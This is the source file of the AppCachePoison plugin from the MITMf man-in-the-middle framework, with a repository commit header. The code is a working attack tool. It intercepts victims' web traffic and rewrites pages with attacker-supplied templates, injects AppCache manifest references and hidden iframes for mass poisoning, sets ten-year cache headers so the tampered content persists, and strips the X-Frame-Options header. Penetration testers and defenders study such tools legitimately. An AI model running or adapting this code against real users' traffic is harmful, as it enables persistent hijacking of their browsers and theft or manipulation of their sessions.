MITMf/plugins/AppCachePoison.py
byt3bl33d3r 9a1c3b0ec4 - Whole framework now requires root privs
- Added an internal DNS server
- Proxy can now use our custom DNS server (DNSChef) or Twisted's
- Removed priv check from plugins
- DNS spoofing fully re-written
- Iptables rules are now checked and set between plugins
2015-04-12 01:49:43 +02:00

209 lines
8.2 KiB
Python

#!/usr/bin/env python2.7
# Copyright (c) 2014-2016 Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
# 99.9999999% of this code was stolen from https://github.com/koto/sslstrip by Krzysztof Kotowicz
import logging
import re
import os.path
import time
import sys
from plugins.plugin import Plugin
from datetime import date
from core.sslstrip.URLMonitor import URLMonitor
mitmf_logger = logging.getLogger('mitmf')
class AppCachePlugin(Plugin):
name = "App Cache Poison"
optname = "appoison"
desc = "Performs App Cache Poisoning attacks"
implements = ["handleResponse"]
version = "0.3"
has_opts = False
def initialize(self, options):
self.options = options
self.mass_poisoned_browsers = []
self.urlMonitor = URLMonitor.getInstance()
self.urlMonitor.setAppCachePoisoning()
try:
self.config = options.configfile['AppCachePoison']
except Exception, e:
sys.exit("[-] Error parsing config file for AppCachePoison: " + str(e))
def handleResponse(self, request, data):
url = request.client.uri
req_headers = request.client.getAllHeaders()
headers = request.client.responseHeaders
ip = request.client.getClientIP()
if "enable_only_in_useragents" in self.config:
regexp = self.config["enable_only_in_useragents"]
if regexp and not re.search(regexp,req_headers["user-agent"]):
mitmf_logger.info("%s Tampering disabled in this useragent (%s)" % (ip, req_headers["user-agent"]))
return {'request': request, 'data': data}
urls = self.urlMonitor.getRedirectionSet(url)
mitmf_logger.debug("%s [AppCachePoison] Got redirection set: %s" % (ip, urls))
(name,s,element,url) = self.getSectionForUrls(urls)
if s is False:
data = self.tryMassPoison(url, data, headers, req_headers, ip)
return {'request': request, 'data': data}
mitmf_logger.info("%s Found URL %s in section %s" % (ip, url, name))
p = self.getTemplatePrefix(s)
if element == 'tamper':
mitmf_logger.info("%s Poisoning tamper URL with template %s" % (ip, p))
if os.path.exists(p + '.replace'): # replace whole content
f = open(p + '.replace','r')
data = self.decorate(f.read(), s)
f.close()
elif os.path.exists(p + '.append'): # append file to body
f = open(p + '.append','r')
appendix = self.decorate(f.read(), s)
f.close()
# append to body
data = re.sub(re.compile("</body>",re.IGNORECASE),appendix + "</body>", data)
# add manifest reference
data = re.sub(re.compile("<html",re.IGNORECASE),"<html manifest=\"" + self.getManifestUrl(s)+"\"", data)
elif element == "manifest":
mitmf_logger.info("%s Poisoning manifest URL" % ip)
data = self.getSpoofedManifest(url, s)
headers.setRawHeaders("Content-Type", ["text/cache-manifest"])
elif element == "raw": # raw resource to modify, it does not have to be html
mitmf_logger.info("%s Poisoning raw URL" % ip)
if os.path.exists(p + '.replace'): # replace whole content
f = open(p + '.replace','r')
data = self.decorate(f.read(), s)
f.close()
elif os.path.exists(p + '.append'): # append file to body
f = open(p + '.append','r')
appendix = self.decorate(f.read(), s)
f.close()
# append to response body
data += appendix
self.cacheForFuture(headers)
self.removeDangerousHeaders(headers)
return {'request': request, 'data': data}
def tryMassPoison(self, url, data, headers, req_headers, ip):
browser_id = ip + req_headers.get("user-agent", "")
if not 'mass_poison_url_match' in self.config: # no url
return data
if browser_id in self.mass_poisoned_browsers: #already poisoned
return data
if not headers.hasHeader('content-type') or not re.search('html(;|$)', headers.getRawHeaders('content-type')[0]): #not HTML
return data
if 'mass_poison_useragent_match' in self.config and not "user-agent" in req_headers:
return data
if not re.search(self.config['mass_poison_useragent_match'], req_headers['user-agent']): #different UA
return data
if not re.search(self.config['mass_poison_url_match'], url): #different url
return data
mitmf_logger.debug("Adding AppCache mass poison for URL %s, id %s" % (url, browser_id))
appendix = self.getMassPoisonHtml()
data = re.sub(re.compile("</body>",re.IGNORECASE),appendix + "</body>", data)
self.mass_poisoned_browsers.append(browser_id) # mark to avoid mass spoofing for this ip
return data
def getMassPoisonHtml(self):
html = "<div style=\"position:absolute;left:-100px\">"
for i in self.config:
if isinstance(self.config[i], dict):
if self.config[i].has_key('tamper_url') and not self.config[i].get('skip_in_mass_poison', False):
html += "<iframe sandbox=\"\" style=\"opacity:0;visibility:hidden\" width=\"1\" height=\"1\" src=\"" + self.config[i]['tamper_url'] + "\"></iframe>"
return html + "</div>"
def cacheForFuture(self, headers):
ten_years = 315569260
headers.setRawHeaders("Cache-Control",["max-age="+str(ten_years)])
headers.setRawHeaders("Last-Modified",["Mon, 29 Jun 1998 02:28:12 GMT"]) # it was modifed long ago, so is most likely fresh
in_ten_years = date.fromtimestamp(time.time() + ten_years)
headers.setRawHeaders("Expires",[in_ten_years.strftime("%a, %d %b %Y %H:%M:%S GMT")])
def removeDangerousHeaders(self, headers):
headers.removeHeader("X-Frame-Options")
def getSpoofedManifest(self, url, section):
p = self.getTemplatePrefix(section)
if not os.path.exists(p+'.manifest'):
p = self.getDefaultTemplatePrefix()
f = open(p + '.manifest', 'r')
manifest = f.read()
f.close()
return self.decorate(manifest, section)
def decorate(self, content, section):
for i in section:
content = content.replace("%%"+i+"%%", section[i])
return content
def getTemplatePrefix(self, section):
if section.has_key('templates'):
return self.config['templates_path'] + '/' + section['templates']
return self.getDefaultTemplatePrefix()
def getDefaultTemplatePrefix(self):
return self.config['templates_path'] + '/default'
def getManifestUrl(self, section):
return section.get("manifest_url",'/robots.txt')
def getSectionForUrls(self, urls):
for url in urls:
for i in self.config:
if isinstance(self.config[i], dict): #section
section = self.config[i]
name = i
if section.get('tamper_url',False) == url:
return (name, section, 'tamper',url)
if section.has_key('tamper_url_match') and re.search(section['tamper_url_match'], url):
return (name, section, 'tamper',url)
if section.get('manifest_url',False) == url:
return (name, section, 'manifest',url)
if section.get('raw_url',False) == url:
return (name, section, 'raw',url)
return (None, False,'',urls.copy().pop())